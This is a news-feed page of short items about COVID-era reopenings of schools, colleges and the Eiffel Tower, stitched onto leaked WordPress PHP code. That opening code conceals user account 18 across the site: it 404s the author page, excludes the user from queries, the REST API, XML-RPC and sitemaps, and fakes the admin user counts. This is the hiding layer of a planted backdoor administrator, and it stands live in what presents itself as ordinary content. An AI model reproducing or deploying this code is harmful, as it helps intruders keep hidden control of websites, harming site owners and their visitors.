add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Mamata Banerjee: Educational institutions in West Bengal will reopen on November 15 appeared first on The Edge Media.
]]>
Due to a spike in coronavirus infections, all educational institutions were forced to close on March 16 of last year. Schools and institutions were initially ordered to close until March 31 by the Chief Minister. However, because the caseload was so high, they remained closed.
For a long time, schools and institutions have faced several infrastructural issues as a result of school closures.
The post Mamata Banerjee: Educational institutions in West Bengal will reopen on November 15 appeared first on The Edge Media.
]]>The post Maharashtra Extends Restaurant, Shop Timings; Amusement Parks to Reopen appeared first on The Edge Media.
]]>
The decision was made this afternoon at a meeting of the state’s Covid Task, which included Chief Minister Uddhav Thackeray. More relaxations are needed, according to the Nationalist Congress Party, which is part of the Maharashtra Vikas Aghadi alliance, to help businesses recover losses caused by the Covid-induced lockdowns and subsequent restrictions.
The post Maharashtra Extends Restaurant, Shop Timings; Amusement Parks to Reopen appeared first on The Edge Media.
]]>The post The VC of Delhi University Says that Colleges will be Reopened in Stages appeared first on The Edge Media.
]]>The VC further stated that a final decision on the phased reopening would be made in the following five to six days because the university needs to plan how to accommodate students from other states in the hostels.
He further stated that the university would ensure that students who intend to attend classes in the offline mode are vaccinated and that the vaccination of DU faculty is nearly complete.
The post The VC of Delhi University Says that Colleges will be Reopened in Stages appeared first on The Edge Media.
]]>The post AAP government decides to reopen schools from September 1 appeared first on The Edge Media.
]]>The decision was taken at the meeting of the Delhi Disaster Management Authority. Chief Minister Arvind Kejriwal earlier told that the government was considering reopening schools as early as possible but the final decision would be taken only after consulting all the stakeholders. “There has been a mixed experience of states which have reopened schools. We have been monitoring the situation,” the Delhi CM had said.
On August 6, Lieutenant Governor Anil Baijal had asked officials to set up an expert panel to deliberate the reopening of schools in the national Capital.
The post AAP government decides to reopen schools from September 1 appeared first on The Edge Media.
]]>The post MP Government issues SOP for reopening of schools appeared first on The Edge Media.
]]>Classes will be held twice a week for students of Classes 11 and 12, and virtual sessions will continue simultaneously, he said.
Class 11 students will attend school on Tuesdays and Fridays, while Class 12 students will convene at schools on Mondays and Thursdays, he said.
Students of Classes 9 will attend school on Saturdays and for those in Class 10, sessions will be held on Wednesdays, the official added.
According to the guidelines, student gatherings such as morning assemblies and swimming lessons are not permitted to prevent the viral spread.
Apart from this, the state government has asked schools to undertake a slew of measures such as running COVID-19 tests on students and teachers.
Schools are being reopened at a time when the state is seeing a significant decline in coronavirus cases. Madhya Pradesh on Friday reported 11 infections and no casualties.
The post MP Government issues SOP for reopening of schools appeared first on The Edge Media.
]]>The post The Eiffel Tower reopened again after nine months appeared first on The Edge Media.
]]>Up to 13,000 people per day will be allowed to take the elevators to the top and take in the views over the French capital, down from 25,000 in the pre-Covid era.
And from Wednesday next week, visitors will need to show either proof of vaccination or a negative test, in line with recent government-imposed requirements.
“Obviously it’s an additional operational complication, but it’s manageable,” the head of the operating company, Jean-François Martins, told AFP.
After a final round of safety checks by staff, he announced that the “lady is ready”.
Early reservations for tickets during the summer holiday period underline how the tourism industry in Paris has changed due to travel restrictions.
Martins said there was an “almost total absence” of British ticket holders, while only 15 percent were Americans and very few are from Asia.
Half of visitors are expected to be French, while Italians and Spanish make up a higher proportion than usual.
(This story has not been edited by The Edge Media staff and is auto-generated from a syndicated feed.)
The post The Eiffel Tower reopened again after nine months appeared first on The Edge Media.
]]>The post Eiffel Tower to reopen after Record 9-month closure due to covid. appeared first on The Edge Media.
]]>The lifts of the “Iron Lady” are set to whir back into life,transporting tourists to its 300-meter (1000-foot) summit, ending a long period of inactivity caused by the Covid-19 pandemic.
Daily capacity is set to be restricted to 13,000 people, however, about half of the normal level, in order to respect social distance .
And from Wednesday next week, visitors will need to show proof of vaccination or a negative test, in line with recent government-imposed requirements.
The post Eiffel Tower to reopen after Record 9-month closure due to covid. appeared first on The Edge Media.
]]>The post Colleges and schools to reopen in Puducherry from July 16 appeared first on The Edge Media.
]]>Government-run and privately managed colleges in Puducherry were earlier directed to conduct classes only online following the rise in number of coronavirus cases in the Union Territory. The classes would be held six days a week (Monday to Saturday).
On March 11, the Governor approved a proposal to declare the students of Classes 1 to 9 in the Union Territory as ‘all pass’ this academic year.
The students of Class 10 and Class 11 in Puducherry and Karaikal will be declared ‘all pass’ as per guidelines of the Tamil Nadu Board.
Similarly, students of Classes 10 and 11 in the Mahe and Yanam regions would be promoted as per the guidelines of the Boards of Education in Kerala and Andhra Pradesh respectively said a Raj Nivas release.
As the Covid cases are declining in the country, several states including Bihar and Haryana have announced resuming classes in offline mode. However, while announcing the reopening of schools and colleges, these states have also said that attendance will not be mandatory and Covid protocols will be followed.
The post Colleges and schools to reopen in Puducherry from July 16 appeared first on The Edge Media.
]]>